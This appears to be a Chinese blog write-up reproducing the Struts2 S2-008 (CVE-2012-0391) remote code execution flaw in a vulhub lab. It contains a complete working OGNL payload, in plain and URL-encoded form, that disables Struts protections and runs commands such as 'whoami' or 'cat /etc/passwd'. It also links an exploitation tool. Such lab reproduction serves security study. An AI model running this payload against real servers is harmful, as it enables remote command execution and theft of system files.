1. 程式人生 > 其它 >CVE-2012-0391 S2-008復現

CVE-2012-0391 S2-008復現

0X00-引言


蝴蝶死在路上,雲邊藏著念想。有些人刻苦銘心,沒幾年會遺忘。有些人不論生死,都陪在身旁。---張嘉佳《劉十三》

劉,十三。留,失散?

程霜,成雙。

兩代人終歸失散,一個人心念成雙。---張嘉佳《雲邊有個小賣部》

0X01-環境搭建


靶機:CentOS Linux 7

攻擊機:windows server 2016 && Kail

環境:vulhub

專案地址:https://github.com/vulhub/vulhub

搭建vulhub請訪問:空白centos7 64 搭建vulhub(詳細)

0X02-漏洞描述


S2-008 涉及多個漏洞,Cookie 攔截器錯誤配置可造成 OGNL 表示式執行,但是由於大多 Web 容器(如 Tomcat)對 Cookie 名稱都有字元限制,一些關鍵字元無法使用使得這個點顯得比較雞肋。另一個比較雞肋的點就是在 struts2 應用開啟 devMode 模式後會有多個除錯介面能夠直接檢視物件資訊或直接執行命令,正如 kxlzx 所提這種情況在生產環境中幾乎不可能存在,因此就變得很雞肋的,但我認為也不是絕對的,萬一被黑了專門丟了一個開啟了 debug 模式的應用到伺服器上作為後門也是有可能的。

漏洞成因:

主要利用對傳入引數沒有嚴格限制,導致多個地方可以執行惡意程式碼。

第一種情況其實就是 S2-007,在異常處理時的OGNL 執行第二種的cookie的方式,雖然在struts2沒有對惡意程式碼進行限制,但是java的webserver(Tomcat),對cookie 的名稱有較多限制,在傳入struts2之前就被處理,從而較為雞肋第三種需要開啟devModedebug 模式。

例如在 devMode 模式下直接新增引數 ?debug=command&expression= 會直接執行後面的 OGNL 表示式.

影響版本:Struts 2.1.0 - Struts 2.3.1

0X03-漏洞復現


01-任意命令執行

如果頁面不重新整理,清除歷史記錄,whoami為變數,可更改,例:cat /etc/passwd

payload:

#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#[email protected]@getRuntime().exec("whoami").getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println(#d),#genxor.flush(),#genxor.close()

url編碼:

%23%63%6f%6e%74%65%78%74%5b%22%78%77%6f%72%6b%2e%4d%65%74%68%6f%64%41%63%63%65%73%73%6f%72%2e%64%65%6e%79%4d%65%74%68%6f%64%45%78%65%63%75%74%69%6f%6e%22%5d%3d%66%61%6c%73%65%2c%23%66%3d%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%2e%67%65%74%43%6c%61%73%73%28%29%2e%67%65%74%44%65%63%6c%61%72%65%64%46%69%65%6c%64%28%22%61%6c%6c%6f%77%53%74%61%74%69%63%4d%65%74%68%6f%64%41%63%63%65%73%73%22%29%2c%23%66%2e%73%65%74%41%63%63%65%73%73%69%62%6c%65%28%74%72%75%65%29%2c%23%66%2e%73%65%74%28%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%2c%74%72%75%65%29%2c%23%61%3d%40%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%40%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%77%68%6f%61%6d%69%22%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%2c%23%62%3d%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%49%6e%70%75%74%53%74%72%65%61%6d%52%65%61%64%65%72%28%23%61%29%2c%23%63%3d%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%42%75%66%66%65%72%65%64%52%65%61%64%65%72%28%23%62%29%2c%23%64%3d%6e%65%77%20%63%68%61%72%5b%35%30%30%30%30%5d%2c%23%63%2e%72%65%61%64%28%23%64%29%2c%23%67%65%6e%78%6f%72%3d%23%63%6f%6e%74%65%78%74%2e%67%65%74%28%22%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%64%69%73%70%61%74%63%68%65%72%2e%48%74%74%70%53%65%72%76%6c%65%74%52%65%73%70%6f%6e%73%65%22%29%2e%67%65%74%57%72%69%74%65%72%28%29%2c%23%67%65%6e%78%6f%72%2e%70%72%69%6e%74%6c%6e%28%23%64%29%2c%23%67%65%6e%78%6f%72%2e%66%6c%75%73%68%28%29%2c%23%67%65%6e%78%6f%72%2e%63%6c%6f%73%65%28%29

0X04-工具檢測


工具地址:https://github.com/Liqunkit/LiqunKit_

0X05-檢視日誌


docker ps #檢視容器ID
docker exec -it ID /bin/bash #進入
cd logs #進入日誌目錄
cat localhost_access_log.2021-12-02.txt #檢視日誌
exit #退出容器

可以看到payload

想到一個騷操作,用工具檢視日誌,由於命令執行時的位置在日誌資料夾的上一級

假裝不知道日誌資料夾中的內容

嘗試命令cd logs ; ls檢視日誌資料夾內容

失敗

莫非命令不對cd logs && ls

失敗

換個白盒姿勢,從容器內找到日誌檔案的路徑

cat ./logs/localhost_access_log.2021-12-02.txt

shell檢視可以

工具檢視也可以:

換了個工具也不可以

工具好像不支援複合命令,知道絕對路徑可以檢視

0X06-參考


linux如何同時執行兩個命令,如何同時執行兩個或者多個終端命令

Struts2-008命令執行(CVE-2012-0392)

S2-008 遠端程式碼執行漏洞